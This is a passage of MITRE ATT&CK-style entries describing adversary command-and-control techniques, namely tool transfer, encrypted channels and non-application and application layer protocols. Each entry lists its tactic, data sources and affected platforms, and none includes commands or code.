Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre